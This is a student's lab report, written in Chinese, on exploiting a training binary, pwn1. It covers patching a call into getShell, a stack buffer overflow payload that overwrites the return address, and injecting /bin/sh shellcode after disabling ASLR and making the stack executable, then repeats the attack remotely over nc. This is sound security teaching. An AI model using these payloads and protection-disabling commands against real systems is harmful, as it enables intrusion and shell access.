《网络对抗技术》Exp1 PC平台逆向破解

Exp1 PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    • 注入一个自己制作的shellcode并运行这段shellcode
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码

二、基础知识

Ⅰ.基本X86汇编指令

NOP:0x90 空指令

JNE:0x75 不等则跳转

JE:0x74 等于则跳转

CMP:0x39 比较(目的操作数减去源操作数)

JMP:Short Jump(短跳转):0xEB Near Jump(近跳转):0xE9 Far Jump(远跳转):0xEA

Ⅱ.反汇编与十六进制编程器

反汇编

反汇编指令:objdump -d (文件名)| more
objdump -d:将代码段反汇编
"|" 管道符:命令A|命令B,即命令A的正确输出作为命令B的操作对象
more:使文件以一页一页的形式显示,更方便使用者逐页阅读

十六进制编程器

进入vi/vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式
或者
使用wxHexEditor编辑器
终端中键入sudo apt-get install wxhexeditor
最终结果如下图:

图2.2.1wxHexEditor界面

三、直接修改程序机器指令,改变程序执行流程

Ⅰ.实验步骤

1.下载pwn1文件,可以通过共享文件夹或者拖拽放入kali虚拟机中,反汇编

objdump -d pwn1 | more

图3.1.1反汇编pwn1

2.回车找到main函数所在地

图3.1.2需要修改的位置

3.直接修改可执行文件的指令使其弹出shell

cp pwn1 pwn2
vim -b pwn2(用vi打开是空的)

图3.1.3打开pwn2
按ESC键
:%!xxd

图3.1.4以16进制查看

图3.1.5 16进制结果
/d7

图3.1.6 查找/d7
修改d7为c3
:%!xxd -r
:wq

图3.1.7 修改d7为c3

4.查看修改后的结果

objdump -d pwn2 | more

图3.1.8确认d7已被改为c3

5.验证功能

./pwn2

图3.1.9弹出shell

Ⅱ.原理分析

main函数调用foo,对应机器指令为“ e8 d7ffffff”,
现在需要调用getShell,只要修改“d7ffffff”为,"getShell-80484ba(下条指令的地址)"对应的补码就行。
804847d-80484ba的补码为c3ffffff。
因此需要将call指令的目标地址由d7ffffff变为c3ffffff。

图3.1.10 getshell地址

图3.1.11下条指令的地址

四、通过构造输入参数,造成BOF攻击,改变程序执行流

Ⅰ.实验步骤

1.构造并验证输入参数

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input

图4.1.1构造并验证输入参数

Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

2.运行验证

(cat input; cat) | ./pwn1

图4.1.1验证

Ⅱ.原理分析

1.通过试验确定覆盖返回地址的位置

gdb pwn1
r
1111111122222222333333334444444455555555

图4.2.1 GDB调试

通过观察可发现 eip寄存器被试验字符串中的5覆盖(0x35在ascii码中代表数字5),同理ebp寄存器被4覆盖,而其他寄存器看起来无异常,可以推测缓冲区预留了28字节空间,而28字节后的“44445555”分别覆盖了ebp寄存器和eip寄存器的值

2.验证eip覆盖的位置

gdb pwn1
r
1111111122222222333333334444444412345678

图4.2.2 验证

通过观察可发现eip寄存器被“4321”覆盖,因此可以确定构造参数的第33字节到36字节会覆盖eip寄存器,因此只要将getshell的地址写入这四个字节就可以实现弹出shell,由于kali系统是小端系统,构造的输入参数为"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"

3.通过汇编代码验证上述结论

图4.2.3 汇编代码

0x1c=28,通过lea命令预留了28字节的空间,所以28字节之后的内容都会溢出

五、注入Shellcode并执行

Ⅰ.实验步骤

1.设置栈可执行

execstack -s pwn1    

2.关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space 

图5.1.1 准备工作

"more /proc/sys/kernel/randomize_va_space"用于查询randomize_va_space的值,2为完全随机,0为关闭状态,"execstack -q pwn1"用于查询pwn1是否可执行,X为可执行

3.构造shellcode并执行

perl -e 'print "A"x32;print"\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'>input_shellcode
xxd input_shellcode
(cat input_shellcode; cat) | ./pwn1

图5.1.2 执行验证

前四个字节"\x60\xd1\xff\xff"为shellcode的位置

Ⅱ.shellcode地址

1.在终端1运行pwn1

(cat input_shellcode;cat) | ./pwn1

input_shellcode前四字节可以用NOP填充

2.在终端2调试

ps -ef | grep pwn1
gdb
attach 33724
disassemble foo
break *0x080484ae
c
info r esp

图5.2.1 shellcode的地址

得到pwn1的进程号为33724,利用GDB调试foo函数,在其返回地址设置断点,查看栈顶指针的值,加0x4即为shellcode的地址,即为0xffffd15c+0x4=0xffffd160,填入shellcode的前四字节

Ⅲ.execstack命令出错的解决方案

图5.3.1 报错命令

以上报错可通过安装prelink解决

1.换源(已换的可以忽略此步)

cd /etc/apt
vim sources.list
把默认源换为中科大的源:
deb http: //mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
deb-src http: // mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

图5.3.2 sources.list换源

2.更新

sudo apt update
sudo apt upgrade

图5.3.3 更新
sudo apt-get install prelink

如果无法定位软件包,可以去手动下载prelink的压缩包,安装

tar -xvf prelink_0.0.20130503.orig.tar.bz2

图5.3.4 解压缩
sudo apt-get install libelf-dev 
cd prelink
./configure
make
sudo make install

图5.3.5下载libelf-dev

图5.3.6安装

图5.3.7完成

六、结合nc模拟远程攻击

Ⅰ.实验步骤

1.在目标虚拟机中打开端口监听

nc -l 192.168.31.128 -p 11204 -e ./pwn1

图6.1.1执行有漏洞的程序

IP地址为本机

2.在本机上攻击获取shell

(cat input; cat) | nc 192.168.31.229 11204

图6.1.2获取shell并验证

IP地址为目标主机

Ⅱ.问题

Ncat: bind to 192.168.31.127:31337: Cannot assign requested address. QUITTING.

图6.1.3奇怪的报错

目标机在执行nc -l 192.168.31.127 -p 50000 -e ./pwn1时报错,未解决

Ⅲ.已解决的问题

1.两台虚拟机在同一局域网内,均使用桥接网卡可以互相ping通,就可以做上述实验了,设置桥接网卡需要关闭虚拟机;执行命令时需要管理员权限
2.虚拟机增强功能报错Kernel headers not found for target kernel 4.19.0-6-amd64. Please install them and execute
解决apt install build-essential linux-headers-`uname -r`

七、实验收获与感想

Ⅰ.实验收获与感想

经过本次实验我对缓冲区溢出有了更深入的了解,之前虽然也学过缓冲区溢出,但是还是对汇编指令,shellcode的生成,缓冲区溢出构造的方法没有很深入的理解,通过实验的亲自体验,我基本掌握了寻找攻击地址的方法,有一定构造shellcode的能力,对栈的执行,栈上的指针有了更深入的了解,这提醒了我在未来的工作学习中重视缓冲区溢出的危害,尽力避免代码中出现这样的漏洞。

Ⅱ.什么是漏洞?漏洞有什么危害?

漏洞专指安全方面的问题,大部分是有可能被利用的,原因可以是bug,或者是是产品的设计缺陷导致的,(也可能设计本意如此)。常见的漏洞有操作系统漏洞、服务器漏洞、服务器软件漏洞、网页系统漏洞等。

漏洞的危害:对大型网站来讲会暴露服务器的信息,使攻击者能够通过泄露的信息入侵;对服务器的安全收到影响,例如:执行任意系统命令;让攻击者能直接控制目标服务器,数据库脱库、删库等,可能会因被攻击而停止服务,可能会被恶意篡改;对用户而言会暴露个人的隐私信息,比如说账号密码,家庭住址等等。

posted @ 2021-03-08 21:39  20181204王浩博  阅读(337)  评论(0编辑  收藏  举报